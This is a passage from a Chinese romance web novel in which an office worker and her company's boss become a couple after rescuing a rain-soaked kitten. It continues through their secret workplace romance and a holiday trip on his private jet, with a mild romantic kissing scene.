她收拾东西,关电脑打卡下班,一边走出办公室一边给陆言知发消息,[对不起哦,错怪你了,我已经调查清楚了,是我加错人了。/对手指 ] 陆言知回复迅速,[那你骂我那么久算什么。] 任舒晚:[算你倒霉吧,但后面不能怪我,是你自己非要找我骂你的……] 陆言知:[那任老师能不能补偿我,陪我吃顿饭?] 任舒晚:[去哪?] 陆言知:[保持神秘,下楼就知道了。] 任舒晚盯着手机,唇角扬起,一天下来,心情经历大起大落,怀疑过他,心里骂了他,到最后发现一切都是乌龙,这难道是考验吗?那他们经受住考验了吗? 下到负一层,果然看到熟悉的车子停在老地方。 她迅速开门上车,陆言知似早就看到了她,半倚在靠背上,歪头看她,眼神含笑,温柔缱绻。 任舒晚脸上一热,趁系安全带的时间低头躲开,“陆总怎么这个时间还在公司,都下班半个小时了。” 陆言知轻笑,“下班时看你没走,就想看能不能等到你。” “那万一等不到呢?” 陆言知:“等不到就回家,明天再继续等。” 任舒晚嗫嚅一句,“那你这不是浪费时间。” “浪费指在生产、生活中对人力、物力和财力等资源的不合理使用行为,综上所述,等你并不是。”他盯着她,表情一本正经,“而且我记得任老师的嘱咐,让我等消息,让我好好表现,我得抓住机会。” 任舒晚哼了声,“歪理。” 他笑着启动车子,驶出地下车库,朝北湖区的亭山开去。 任舒晚不在意他到底要带她去哪,反正和他在一起的日子都很开心。 车里凉风习习,音响播放着轻柔的音乐,她专注地听了一会儿,听到熟悉的歌词,“没关系你也不用给我机会,反正我有一生可以浪费。” 浪费,在这一刻突然变成一个很浪漫的词。望不到结果的等待或许在他人眼中是浪费,但在那个执着等待的人身上,是非他不可的坚持。 她垂着头思索着,既然非他不可,那彼此就不要继续浪费了吧。 车子从市区开到景区的环山路,从傍晚走到夜幕降临,最终停在山腰一处隐蔽的私人会所。 会所选址独特,结合周围的山势,营造出幽静、富有自然气息的山野餐厅。 他们家是会员预约制,主打安静隐秘。在服务员的引导下一路深入,没有遇到任何人,也没有听到嘈杂的声音,只有偶尔透过窗户传来的山间虫鸣鸟语。 进了包间,空间不算大,但装修异常漂亮,两面巨幅落地窗,窗外是葱葱郁郁的山林,林间的树枝上交错挂着昏黄灯火,形成错落的静谧景致,让人仿佛踏入与世隔绝的清幽之境。 服务员识趣的关门离开,房间内只剩两人,任舒晚环顾环境,感叹道:“是世外桃源诶。” 陆言知猜到她会喜欢,淡淡一笑,“他们家还在试营业,你尝尝味道,不喜欢的可以提意见。” 任舒晚:“试营业陆总就能光临,还能提意见,有秘密。” “嗯,不算秘密,是我嫂子开得店。” 任舒晚讶然,“嫂子审美真好呀,我要爱上了。” 陆言知失笑,“那么容易爱上吗?” “当然了,这是属于我们女孩子的心心相惜。” 陆言知把平板递给她,笑道:“那女孩子点餐。” 任舒晚接过认真看起来,他们家是创意融合菜,每道菜品的照片都拍得漂亮,兼顾美感与食欲,除此之外还有食材的详细介绍和做法,以及相关忌口,通过这些微小的点就能看出老板是个心细如发的人。 任舒晚按照自己的喜好点完,把平板递给陆言知,陆言知没什么忌口,随着添了几道菜便下单了。 等了没多久,菜陆续端上来,摆了满满一桌,看上去色香味俱全,两人也不客气,敞开怀吃起来。 美□□致,味道也好,风卷残云过后完成了光盘行动。 吃饱喝足,陆言知拉着她去窗边的沙发上休息,懒散靠着,只觉岁月静好,现世安稳。 不知什么时候,窗外下起雨,先是细密的雨滴,紧接着便是瓢泼大雨,雨水冲刷着枝叶,发出比平日更清晰的哗哗声。 昏黄的灯光在雨幕中摇摇晃晃,投射出的光影下,任舒晚看到一只被雨水淋得湿透的小猫,它蜷缩着身体,试图用树叶遮风挡雨,但奈何雨实在太大了,杯水车薪。 任舒晚立刻坐直身体,“陆言知,有只猫。” 陆言知随着她的手指看去,很快发现了可怜的小猫,他思忖一会儿,“应该有路可以通到后面,我去看看。” 任舒晚:“我跟你一起。” 两人找到服务员指路,从走廊尽头的玻璃门拐到树林里,那边有一条人为铺就的石子小路,供工作人员去树林里造景。虽有路,但路况并不好,开在山林间,蜿蜒崎岖,加之正在下雨,又是晚上,十分不安全。 陆言知想自己撑伞过去,任舒晚不肯,非要陪他一起,于是两人同撑着一把大伞,依偎着踏入雨中。 这场雨又急又大,铺天盖地倾泻而下,伞面被砸得作响,陆言知一手撑着,一手搂着她的肩膀,怕她踩不稳滑倒。 在这样的雨中,伞已经起不到作用,走了没多远任舒晚裤子和鞋子都湿透了,每踩一步都能感觉到水流充斥在鞋子里,致使脚下的路满是不真实感。 她紧靠着陆言知,手环到他后腰上,牢牢拽着他的衣服。 “还好吗?”陆言知察觉到她的异常,低头靠近她耳语。 她点了点头,凑到他耳边回复:“我没事,你别担心。” 在室内走了多少路,在山林里就要走多少,甚至更多,两人亦步亦趋,终于在片刻后绕到他们包间外的区域。 循着印象里的位置,很快找到躲在树下瑟瑟发抖的小猫,小猫很小,察觉到有人靠近后害怕的往后躲,但行动十分缓慢,任舒晚怀疑它受伤了。 陆言知把伞递给她,脱下身上的外套,迅速裹住小猫抱到怀里。 小猫似乎能感觉出他们的好意,没有过多挣扎,老老实实窝在衣服里。 两人不耽搁,立刻往室内撤,陆言知一手抱着猫一手撑着伞,任舒晚觉得不安全,踮脚凑到他耳边道:“我来抱猫。” 陆言知思索一瞬,把小猫交到了她怀里,她抱着猫,陆言知搂着她,两人沿着来时的小路很快返回室内。 收了伞回到屋里,任舒晚才看到陆言知半个身子都淋湿了,白色丝质衬衣紧贴皮肤,水珠顺着发丝滴到脸上,即使狼狈,也难掩矜贵气质。 任舒晚也没好到哪里去,上半身在陆言知的保护下没有湿,但裤子鞋子糟糕透顶,踩在地板上水不停地往外溢。 服务员急忙找了毛巾给两人擦拭,任舒晚腾不出手,陆言知熟练地接过,替她擦掉脸颊的水意,又蹲下身擦她的裤子。 服务生在一旁看着,朝着任舒晚做羡慕的表情,任舒晚弯起唇角回以微笑。 陆言知给她擦完才去擦自己身上的水。 任舒晚把小猫从外套里放出来,这才看清它的真实面目,奶黄色的毛发,眼睛圆溜溜的,鼻尖脏兮兮的,身子很瘦,连叫声都微弱到听不清了。 服务员心疼道:“要是没遇到你们,它估计活不过今晚。” 任舒晚:“它应该不大,不知道怎么会跑到树林里去。” 服务员:“这山上有住户,常能看到野猫,我们经常拿剩饭剩菜喂它们。不过这只小猫是第一次见,可能不小心跑出来回不去了。” 任舒晚用外套擦干它的毛,小心检查它的身体,没发现明显的伤痕,可能只是它太小了,跑不动了。 两人浑身湿透,简单擦拭便离开餐厅,临走时任舒晚告诉服务员,她要把小猫带回去照顾,如果有住户来找猫,就联系陆言知。 服务员应下,但也告诉她,大概率是野猫,山上的住户不太在意,没人会找的。 上了车,湿漉漉地坐到椅子上,任舒晚看向陆言知,他也看了过来,两人相视一笑,颇感无奈,原本好好的约会以落汤鸡模样收尾,甚是搞笑。 陆言知开了车内的热风,没一会儿便觉得周身暖煦煦的,小猫窝在他的外套里,喵喵叫着,任舒晚瞧了一眼,无奈道:“你的衣服可能要不得了。” 裹了猫不说,还在途中被树枝刮了一下,袖子接口处已经开线了。 陆言知笑道:“没关系,做好人好事总会付出点代价的。” “我想把它带回家,元宝离开后,家里空荡荡的,多了它还热闹点。”她轻抚着小猫的脑袋,“它和元宝一样,都是黄团子。” 陆言知察觉她有些伤感,开口转移话题,“既然要带回家,那给它取个名字?” 任舒晚垂眸沉思,“要不叫汤汤吧。” “嗯?”陆言知诧异,“怎么想到的?” 任舒晚扑哧一下笑出声,“因为是下雨天捡到的,淋成了落汤猫。” “嗯,主人是落汤鸡,果然配。” 说笑着,车开上了环山路,外面还在下雨,雨刮器不停歇的工作着,仍旧难以刮净接连不断雨帘。 半个小时后终于进了市区,雨渐小,淅淅沥沥下着。 陆言知道:“淋了雨,先送你回家吧,别感冒了,明天再带它去检查。” 任舒晚点点头,“它应该没大碍,回去我喂它喝点奶粉,养足精神就好了。” 片刻后到了任舒晚家楼下,她要抱着猫下车,陆言知忽然出声阻止,任舒晚微怔,回头看他,“怎么了吗?” 他轻咳一声,从手盒里拿出一个精致的手提袋,“其实汤汤打乱了我的计划。” 他从手提袋里取出一个漂亮的锦盒,“这是赔罪礼物。” “这是表白礼物。”紧接着又是一个锦盒。 他看向她,眼睛如同今夜的雨,干净透彻,“我喜欢你。” 她的心猛然一颤,像被飘起的羽毛抚过,又像被汹涌的浪潮拍过。 陆言知:“可能这不是一个完美的时间,有些潦草,有些仓促……” “不是。”任舒晚出声打断他的话,她眼眶有些热,鼻尖酸酸的,“恰逢其时,刚刚好。” 陆言知认真看着她,“那你愿意和我交往吗?” “当然。”任舒晚粲然一笑,“你知道的,我从小就没有男朋友。” 陆言知弯起唇角,轻轻拉起她的手,指尖扣进她的指缝中,掌心紧密贴合,“是,那让我来做你的男朋友。” “喵~”汤汤发出轻轻的叫声。 任舒晚蹭着它的脑袋,“看来汤汤很满意这个爸爸哦。” 相牵的手贴的更紧,他望向她的目光灼热,眼眸格外明亮清晰,她心跳在他注视下逐渐急促起来。他已然靠近,鼻尖相抵,呼吸纠缠,目的不言而喻。 任舒晚勾唇,偏头抢先一吻落在他脸颊上,转瞬即逝。 他微愣,任舒晚迅速松开他的手,抱着汤汤将抵在车门上,拉开距离,欲擒故纵嘛,哪能这么容易满足他。 她眉眼弯弯,甜甜道:“男朋友,我要回家了。” 他无奈撤回身子,“好,那我明天早上来接你上班,晚上带汤汤去医院。” “好呀。”任舒晚抱起汤汤,空出一只手伸向他,“呐,帮我把礼物挂在手上。” 陆言知哑然失笑,忙把两个锦盒装进手提袋,挂在她手腕上。 任舒晚勾唇,“明天见,男朋友。”—— 作者有话说:浪费的解释源于百度百科! 后面我会尽量稳定时间更新,QAQ因为会有香香饭(你们懂吗!!) 到时候我会提前在作话预告,宝宝们准时来看! 第42章 第 42 章 旅行 安顿好汤汤, 任舒晚冲了个热水澡才满血复活,这一晚过得甚是颠沛,吃了美食, 淋了大雨, 救了猫, 又表了白,这几件事挤在一起, 想想都觉得不可思议。 从浴室吹干头发出来, 她一眼看到被放在茶几上的手提袋,想起礼物还没拆,便兴冲冲盘腿坐在了沙发上。 两个同色系的锦盒, 打开第一个映入眼帘的是一条漂亮的项链,吊坠中间镶嵌着一颗紫色钻石, 周围围着一圈璀璨的碎钻,如星光围绕月亮,流光溢彩,熠熠生辉。 第二个锦盒打开,里面则是一条同款的手链, 整条都用紫色钻石镶嵌, 像无数小巧的葡萄点缀其中, 灯光折射下散发出梦幻的紫色光晕,精致华丽。 他很细心, 她从没告诉过他喜欢什么颜色, 他却能猜到, 就像他早就发现她喜欢吃葡萄一样。 她笑着给陆言知发消息,[礼物我很喜欢,老实交代, 是不是从去年我妈妈给我寄葡萄时你就暗恋我了?] 片刻后,陆言知回了条语音消息,任舒晚点开凑到耳边听,磁性低沉的声音温柔道:“被发现了。” 任舒晚抱着手机从沙发滚到床上,“陆言知,你隐藏的好好哦。” 陆言知:“暗恋很漫长很痛苦呢,你要补偿我。” 他含笑,语调缓缓。 隔着听筒她都能想象出他的表情,和他靠近时的呼吸,仿佛此刻已经喷洒在她耳边,潮湿温热。 “想要补偿得先回答我的问题。”她顿了顿,“你为什么决定今晚表白?” “因为我觉得你也开始喜欢我了。” 任舒晚微愣,经历元宝离开那件事后,她没有继续隐藏自己的想法,但也没刻意表现什么,今晚她原本是下定决心要直面感情,去表露心迹的,但没想到他更快一步,早已发现她动心的蛛丝马迹。 “你怎么发现的?”她抱着手机嗫嚅道。 消息刚发出去,陆言知的电话已经打了过来,她接起,喃喃道:“干嘛打电话。” 隔着手机,他笑声朗朗,“你是承认你也喜欢我了吗?” 他明知故问,任舒晚脸颊微热,哼了一声,“不喜欢你干嘛要同意你的表白。” “我想听你亲口说。”他认真道。 任舒晚垂下眼睫,手搓着抱枕上的花纹,故意逗他,“我要睡了哦。” 沉默一瞬,陆言知缓缓开口,语气略带委屈,“晚晚。” 她心脏骤然收紧,一股暖热缓慢从胸口溢出,渐渐流至全身,传遍四肢百骸。 他第一次唤她小名,声音又柔又轻,撒娇意味分明。 她浅浅笑着,喃喃道:“我喜欢你呀,非常喜欢。” 听到她的亲口表白,他心满意足,“我也喜欢你,非常非常喜欢。” 他幼稚的像小孩子,还要跟她比较谁的爱更多一些。 两人抱着手机煲电话粥,不知不觉说了很多,渐渐的睡意来袭,任舒晚沉沉睡了过去。 听筒传来规律的呼吸和偶尔的呓语,陆言知听了许久,直至夜深,才小声道:“晚安,明天见。” 枕着他轻柔的“晚安”,任舒晚一夜好梦。 第二天,她起得很早,醒来发现手机已经没电关机了,才想起昨晚跟陆言知打着电话睡着了,回想起聊过的只言片语,她幸福地蒙到被子里。 磨蹭了一会儿才爬起来去看汤汤,汤汤恢复良好,昨晚还只是萎靡不振地窝在元宝的小窝里,到了早上听到任舒晚的声音已经能爬起来慢悠悠地来找她了。 任舒晚放下心来,喂它喝了奶粉便着急忙慌的钻进浴室。 往常她通勤都是淡妆,或者偶尔偷懒只涂个素颜霜,今天日子不同,心情不同,她化了格外精致的全妆,连眉毛都一笔勾勒,甚是完美。 化完妆,她站在衣柜前又陷入纠结,挑挑拣拣,最终选了一件浅色的连衣裙,外面套了一件风衣。 等她准备好,陆言知也恰好发来消息,她背上包,摸了摸汤汤的脑袋,迅速出门。 陆言知的车停在楼下老位置,任舒晚一出单元门就看到了。他倚在车旁,穿了一件深色戗驳领西装,剪裁合体,贴合肩线,又自然收束出细长的腰身,远远看上去,冷峻贵气。 他熟练地给她开门,上车后又递来早餐,“三明治,热拿铁。” 任舒晚伸手接过,露出衣袖下的手链,他立刻看到,视线追随,认真夸赞,“很衬你。” 她眨眨眼,晃了晃手腕展示给他看,语气甜甜腻腻,“是我男朋友给我买的哦,他眼光很好呢。” “嗯。”他轻笑,“当然眼光好,不然怎么会找到那么漂亮的女朋友。” 夸自己的同时还夸她,任舒晚笑弯了眼。 快到公司时,任舒晚让他把她放在地铁口,办公室恋情实在不宜公开,还是谨慎为妙。 她从地铁站溜达到公司楼下,遇到一起来的小庄和祝笙,祝笙见到她十分惊艳,“你今天好漂亮,这条裙子也没见你穿过呢!” 任舒晚笑眯眯道:“新购入的,不错吧。” 祝笙上下打量她,最后目光定格在她的脸上,小声道:“你今天一脸春风得意,跟昨天简直不是同一个人,事情处理好了?” “啊,处理好了,没什么大事。”任舒晚违心地回应道。 “那就好。” 祝笙回答完还在瞧她,她不知是心虚还是怕祝笙发现什么,连忙转移话题,“你们两个怎么总一起来?” 小庄:“地铁同一趟,很容易遇到。” 祝笙点头,悲催附和:“是啊,都是乘坐一个时间的牛马专列。” 说话间电梯停下,门徐徐打开,抬眸便撞上陆言知堂而皇之的视线,他双手插兜,坦然站在轿厢内,淡淡扫过三人。 任舒晚微怔,他开车怎么那么慢,她溜溜达达走来居然还能碰到。 “陆总早。”她率先踏进电梯,礼貌打招呼。 小庄和祝笙也立刻敛起笑意,“陆总早。” 陆言知淡淡颔首,“早。” 轿厢逼仄的空间因为陆言知的存在,小庄和祝笙都难得的沉默,一言不发,乖巧谨慎。 任舒晚站在后面一点的位置,祝笙和小庄站在她前面,陆言知则在她侧后方不远处的位置。 电梯上行,一切看上去井然有序,但下一秒,陆言知不着痕迹地往她身边挪了一步,她瞬间察觉,偏头瞪他一眼,又看向前面的两人,示意他老实一点。 他故作乖巧,手却不听话的勾住她的小指,握在手中轻柔摩挲着,她像受惊的兔子,差一点跳起来,目光连忙看向前面的两人。 好在两个人都在专注的看电梯屏幕上缓慢变化的数字,丝毫没有发现。 她松口气,视线转到始作俑者的脸上,后者眉梢微挑,露出人畜无害的淡笑,薄唇轻启,无声道:“想你。” 任舒晚发现自己会读唇语,但她顾不得这个,萦绕在心头的全是害怕被发现的刺激感。她小幅度地试图往回抽手,但陆言知根本不想放开,她退一下他就近一下。 她恼羞成怒,仰头瞪着他,无声道:“陆言知!” 即便没有声音,陆言知也能立刻明白她在怒喊他的名字,他不敢继续逗她,恰好电梯也快到达20楼,他笑着松开她的手,后退返回原位。 上班一早就经历如此惊心动魄的事情,任舒晚气得一上午没理陆言知,他被惩治,也老实了,在微信求了一上午,才得到她一个小猫打人的表情包回复。 — 经历三天紧张的办公室恋情,终于迎来休息日,任舒晚可算不用担心一早坐电梯了。 陆言知实在不听话,她也不知道他怎么做到的,无论她是快是慢,是早是晚,都能不偏不倚跟他乘坐同一辆电梯,而且经常性的不止他们两人,还有其他同事。 他每次都要神不知鬼不觉的靠近她,要么牵手,要么戳她的脸颊,反正不能闲着。 饶是她怎么暴跳如雷的批判,他都用单纯的眼神看她,说什么想她之类的话。 鬼才信好吗!! 明明她刚从他车上下来,连十分钟都没有!! 想到这些,任舒晚就头疼。 她关掉闹钟,起床去洗漱。 最近的休息日都不能睡懒觉,她要去新房看装修进度,目前硬装已经进行了一半,正在打橱柜,尺寸什么的虽然都核对好了,但避雷贴说经常会出现纰漏,所以她得空就要过去看看。 盘算着盛夏来临时就能完成硬装,到时候买了家具,通通风,转年就能搬进新房了。 想到未来美好的日子,她充满干劲。 在新房忙了一上午,中午和陆言知接她去吃饭,他问起她劳动节的打算,她才意识到这一年已经过了将近一半。 “要回老家吗?”陆言知问道。 她摇摇头,咽下嘴里的食物,“不了,每年假期我爸妈爱出去旅游,我回去也是自己在家。” “那我们也去旅行?想去哪?” 任舒晚眼睛忽地亮起,“你想不想去探险?” 陆言知轻笑,温柔道:“想。” 他非常愿意宠着她,只要她提的,他从没有拒绝的时候,“我看到一个自然溶洞景区,可以徒步可以浮潜,还有溶洞滑索。” 陆言知:“好,把景区名字发给我。” 任舒晚把看到的视频分享给他,就知道接下来的行程不需要操心了。 当天晚上两人确定了计划,假期前一天下班后直接飞隅阳,第二天溶洞探险,之后再吃吃喝喝,假期最后一天返回。 有了期待就觉得日子过得特别慢,掰着手指头数算着,还要每天和陆言知在电梯里斗智斗勇,熬熬熬,终于熬到最后一天。 任舒晚当天早上就把行李箱扔到了陆言知的车里,这样下班后不用耽误,从公司直接去机场。 中午午休,陆言知有应酬,任舒晚和祝笙一起吃饭,祝笙随口问道:“你假期什么计划?回老家吗?” 她摇了摇头,“我出去玩一圈,放松一下身心。” 祝笙应了声,片刻后疑惑地皱眉,“我怎么觉得你最近怪怪的,好像很忙的样子,该不会有暧昧对象了吧?” 任舒晚心中警铃大作,忙思索着有没有暴露什么,想了一圈也没想到什么破绽,硬着头皮含糊道:“没。” “真的?”祝笙狐疑地审视着她,“你不要骗我哦,我可会生气的。” 任舒晚不会说谎,尤其被她这么近距离盯着,“好嘛,就是朋友啦,还在接触。” 发现自己猜准了,祝笙眉眼弯弯,八卦道:“怎么认识的?帅不帅?有没有照片?年上还是年下?” 一连串的问题抛出,任舒晚听得头昏脑胀,应付不及,“你先别问,等确认关系后我再告诉你。” 祝笙偷笑着,“你怎么跟我还害羞上了。” 任舒晚幽幽叹息,她哪是害羞,是没法说呀,要但凡对方不是陆言知,她肯定早跟祝笙分享了。 “哎呀,反正你就别问啦,到时候我会主动跟你说的。” 祝笙笑眯眯应下,“那你这次是要跟他出去?” “嗯。”任舒晚含糊点头,不敢多暴露什么。 祝笙眼睛亮晶晶的,比她还要期待,“旅行是检验两人合不合适最好的机会,也能通过相处的细节看出这人的人品和三观,以及生活习惯。” 任舒晚认真听着,陆言知的人品和三观她很相信,生活习惯嘛,她也大概了解。 祝笙:“还有最重要的,好好感受一下!如果其他都很好,人也不错,但某些方面不和也别继续了。” 任舒晚是成年人,怎么会不知道她在说什么。 她耳朵发烫,不自然地轻咳一声,“什么叫不和?” 说到这个,祝笙非常有发言权,她扬扬下巴,一本正经道:“就比如能力不行,你懂的,有些先天就不太强,这种更改不了。其次还讲究合不合拍,能不能让你满意,如果做不到,那以后也很容易出问题,俗话说性生活是爱情最好的调味剂。” 任舒晚吞了下口水,这件事上她确实没经验。 祝笙看出她的局促,拍了拍她肩膀,“无妨,大胆去尝试,爱情就是一个不断探索的过程,要以自己的体验为主,不要被暂时的快乐和满足所蒙蔽,长久的合适才最重要。” 祝笙说得有道理,任舒晚十分认可,她虽没经验,但很听劝。 晚上下了班,任舒晚磨蹭了一会儿才下楼,陆言知已经在等她,上了车,直奔机场而去。 任舒晚看到他就想到祝笙中午说的话,有些走神,直至被他唤了两声,她才骤然惊醒,“啊?怎么了?” 陆言知得空看她一眼,笑道:“盯着我在想什么?是对我今天的穿搭不满吗?” “没有。”任舒晚看向他的衣服,才发现他换下了在公司的西装,穿了一件休闲衬衫,“很好看。” “那你在想什么?” 任舒晚思忖片刻,突然道:“我在想,你买机票了吗???” 陆言知无奈摇头,笑她后知后觉,“晚晚,如果等你想到,我们可能得走着去了。” 嗯?? “什么嘛,如果我来做计划,我肯定会准备妥当的,我可是妥妥J人好吗!” 她顿了顿,“所以你也没找我要身份证号啊,我也没收到订票的短信。” 陆言知点头,眉梢微挑,“这是个秘密。” 好嘛,又是秘密。 听到这个词,任舒晚就知道又会有不一样的惊喜,这种感觉很奇妙,经历过几次之后就会很期待,因为她知道他绝不会让她失望—— 作者有话说:陆总:我爱老婆,老婆爱我。[眼镜] 宝宝们,下一章要做香香饭了,我决定3号中午12点更新!!! 你们一定要准时来哇[求你了][求求你了]不然可能只能看到太监过后的了。 第43章 第 43 章 我不敢自己睡 到了机场她才知道, 原来陆言知有私人飞机。 他们的车子直接开进私人飞机所在的停机坪,下车就能看到登机舷梯。 进行简单的安全检查后直接登机,行李被工作人员从车上搬到飞机上, 过程丝滑无比, 效率极高。 飞机内部跟平常乘坐的客机完全不同, 只有十个位置,是包裹性极强的按摩椅, 非常舒适。后面空间设立了独立的休息室、卫生间, 麻雀虽小五脏俱全。 飞行时间一共是三个小时,起飞时天色已经暗下来,机组人员准备了丰盛的晚餐, 全是任舒晚爱吃的,她非常给面子的享用起来。 陆言知坐在她对面, 一边给她剥虾,一边听她絮絮念新房装修的琐事。 他非常享受这种时候,她被他照顾的很好的时候,他心底会升起难以言喻的满足感。 饱餐后,飞机已经爬升到初始巡航高度, 气流稳定, 没有颠簸, 耳边的轰鸣声成为规律的白噪音,催的她昏昏欲睡。 机组工作人员撤掉餐盘, 换上了甜品和水果, 陆言知叉了一块哈密瓜递给她, 她小口咬着,懒懒靠在座椅上打哈欠,“吃太多碳水了, 要晕碳了。” 眼见她闭上眼睛就要睡着,陆言知起身拿走她手里的叉子,顺势揉了揉她毛茸茸的脑袋,“去休息室睡,这里不舒服。” 她闭着眼哼唧道:“不要了,现在睡了晚上就不困了。” 陆言知:“不困可以去夜市,隅阳的小吃多,都是你喜欢的口味。” 听到夜市、小吃这些字眼,任舒晚也不困了,大学毕业后去夜市变成了奢望,每天实在太忙了,住的周围和公司周围也没有夜市,她实在想念那些烟火气的小吃。 她眨着眸子,瞳仁亮晶晶的望着他,“那你带我去呀。” 陆言知顺势单膝跪地蹲在她座椅旁,视线平视盯着她,眉梢微挑,“心动了?” “当然了。”她笑眯眯的,“比看到陆总时更心动呢。” “嗯?”陆言知眉头紧蹙,顺着她的话说,“那不太好,夜市行程取消。” 任舒晚才不会把他开玩笑的话当真,她往座椅一侧蹭了蹭,腾出一块不算大的位置,拍了拍,“你坐上来呀。” 陆言知哑然失笑,这座椅虽宽敞,但想两个人并排坐还是有些难度的,他明知如此,却不假思索坐了上去。 接触到椅面的同时,他单手搂住她的腰,顺势将人抱到自己的膝上。 “诶?”任舒晚还没反应过来,已经稳稳坐到他怀里。 他扬起唇角,“椅子有点小,两个人刚刚好。” 任舒晚哼了一声,满足地歪在他身上,享受此刻的亲昵。他怀里暖和踏实,虽不如按摩椅柔软,但足够安心。 头枕在他的肩上,呼吸间是好闻的木质香,她吸了吸,有些贪婪的凑近他的颈间,像小兔似的轻嗅着。 陆言知能明显感觉到她靠近的皮肤发烫,在炙热的呼吸中激起入骨的痒意,他喉间滚了滚,将人紧紧搂在怀中,“我抱着你睡?” 任舒晚鼻尖蹭着他的颈侧,头深深埋进去,撒娇般的应着,“那你记得喊我哦,我就睡一小会儿。” “嗯。”陆言知沉沉应着,手附上她的脑袋,缓慢揉着,仿佛哄着孩童般温柔。 任舒晚这一觉睡得很沉,他怀里像有催眠药似的,而她则变成一位久病不愈的睡眠障碍者,贪恋汲取着,不愿醒来。 直到飞机下降经过气流颠簸,她才缓缓睁开眸子。 陆言知也睡着了,依旧是刚才的姿势搂着她,头朝她的方向歪着,呼吸绵长,睡得安稳。 她小心翼翼地直起身子,微微活动着僵硬的脖颈,却还是将他惊醒。 “醒了?”他垂着眼皮看她,语调慵懒。 此刻的他实在好看,眉眼缱绻,勾魂摄魄,她很难不心动,她闷声应了下,双手勾上他的脖子,鬼使神差地凑近,在他唇角落下一吻。 浅尝辄止的轻吻转瞬即逝,陆言知意犹未尽,单手附在她脑后,哑声道:“就这样?” 此刻她早没了刚才的勇敢,脸颊绯红,心跳不受控制的加速,然而此刻泥足深陷,躲无可躲,避无可避。 “谁让你勾引我。”她小声控诉着。 陆言知轻笑了声,“能勾引到晚晚,是我的荣幸。” 话音落,他主动靠近,低头亲了过来,她涨红着脸去推他,飞机内不止他们两人,万一乘务人员忽然进来看到这一幕,太社死了! “没有呼叫他们不会进来。”他喊着她的唇低声说着。 她还想回应,他已经不由分说地吻住她,吻又急又凶,她很快被亲得喘不过气,只能仰头承受着他的攻势。 他不甚熟练,摸索几次才攻城略池般进入,灵巧的舌侵入她的口腔,勾住她敏感的舌尖,吸吮舔舐,像品味无比美味的食物。 “唔…嗯……” 强烈的快感席卷而来,她被吻得神志不清,软软靠在他怀里紧闭着双眼,从睫毛到身体都因为这场激吻而轻颤着。 可他似乎觉得不够,贪恋的索取着,手臂不断收紧,恨不得将她揉进身体里。 事情朝着一发而不可收的方向前进,她能明显感觉彼此身体产生的变化,照此发展下去,飞机怕是不能落地了。 他察觉到她的分心,惩罚性的在她唇瓣上咬了一下,刺痛让她忍不住哼唧出声,他喘息着勾住她的舌尖吞进口中,更加大力的吸吮着,耳边瞬间充斥着啧啧作响的水声。 “晚晚……”他哑声唤着她的名字,尾音缱绻难耐。 她应不出声,只是呜咽着,他舌尖舔掉她唇边的津液,吞噬干净。 她颤着身子艰难地推开他,如同缺氧的鱼回归水面,附在他肩膀上大口喘息。他也没有很好,眼眸赤红,额间布着细密的汗珠,忍得十分痛苦。 这时,播报响起一声提示音,飞机下落时遇到气流,产生轻微的颠簸。 她堪堪回神,红着脸从他怀里起来,喃喃道:“我去那边坐……” 她身体挪动了一下,然后突然静滞不动了,她明显感觉到比熔岩还要滚烫的存在,深抵着。 意识到,她匆匆借着他的力站起身,然而腿有些发软,踩在地上颤抖不已,缓了一瞬才坐回位置。 陆言知站起身,哑声道:“我去洗手间。” “嗯嗯。”她仓皇应着,怎么会不懂,她也没有好在哪里。 良久后,播报响起即将降落的通知,陆言知从洗手间出来,脸上还有没擦干的水珠,额间的发丝被沾湿,显然洗了脸。 十几分钟后飞机落地,接他们的车已经等在停机坪,下飞机后工作人员推着行李送他们到车边,礼貌挥手再见。 隅阳的温度比临城暖了些,晚上穿着单薄的长袖刚好,夜风吹拂,带着夏日独特的柔软,她依偎在他身上,深吸一口气,感受风中独属于两人的甜腻。 上了车,两人默契的都没有提去夜市的事情,于是车子开去了住处。 陆言知没有订酒店,而是带她到了一处环境幽静的花园别墅,房子面积不算大,三层复式,前后两个花园,到处透露着华丽精致。 陆言知:“这是我哥的房子,他们喜欢旅游,恰好在隅阳也有地方。” 司机把行李放在玄关处就走了,陆言知推着进客厅,“很干净,每周都有专人打扫,来之前嘱咐他们换了私人物品,不用担心。” 任舒晚环视客厅的装修,跟那家私人会所风格很像,中式的古色古香,看来是他嫂子的喜好。 两人上到三楼,任舒晚才发现这边布局和常住房不太一样,三楼一层全是卧房,每个门上悬挂着不同的名牌,用来区分房间的主人。 陆言知解释道:“这是专门用来旅游住的,基本全是客房,分的比较细。” “原来如此。” 一路看过去,门牌上的名字几乎全是“陆”姓,陆禹堂、陆望、陆言知…… 停到陆言知门前,他打开门,“你住在这边。” “那你呢?”任舒晚眨眼看向他。 “我去住备用客房。” “哦,好。”任舒晚乖巧应声。 他将她的行李放在门口,没再往里走,“洗漱用品是全的,床上用品也是新的,我让阿姨买了几套衣服和睡衣,都是均码,你试一下看看合不合身,不合适我们后天再去买。” 他一直细心照顾她,她很开心,弯了弯唇,“好哦,那我先去洗个澡。” “嗯,浴缸没有人用过,是干净的,可以泡个澡解解乏。”陆言知嘱咐道,“有事找我,我就在隔壁。” “知道啦!” 看着她进了门,陆言知才回隔壁房间。 任舒晚整理了一下行李,把怕折的衣服拿出来,打开衣柜去挂的时候才发现陆言知准备的如此细致,各种不同款式的睡衣睡裙分别有两套,T恤、衬衫、短裤、长裤、短裙、连衣裙,各种色系各种款式,一应俱全,任舒晚比了一下,正合身,看来她带的衣服都要闲置了。 收拾完,她卸妆泡了个澡,暖煦煦的水流包裹着身体,把一天的疲倦洗刷干净。 洗完澡吹干头发,她换上了陆言知准备的丝绸睡裙,是她喜欢的淡紫色,衬得皮肤白皙干净。 她关掉主灯,开了床头的夜灯,钻进被子里,床很柔软,散发着清淡的馨香,她抱着被子滚了一圈,摸出手机给陆言知发消息。 刚打开聊天框,就默契地收到他的消息,[睡了吗?] 她抿唇笑着,[还没,刚躺在床上,好舒服哦。] 下一秒,陆言知电话打了过来,她接听放在耳边,喃喃道:“就在隔壁还要打电话。” 陆言知笑道:“那我们敲墙对话?” “好呀,那得制定类似于摩斯密码的暗号。” 陆言知:“比较起来还是打电话方便。” 任舒晚咬唇笑了笑,沉吟道:“要不……你来我房间?” 她话才落下,门口就响起敲门声,她微愣,对着手机道:“你这么快?” 陆言知淡笑:“晚晚,不要用快形容一个男人。” 任舒晚哑然,“那…你进来呀。” 说罢,她迅速挂断电话,用被子蒙住脑袋,这样的邀请是不是……太直白了?可是祝笙说这也是恋爱的一部分,她点点头,没什么的。 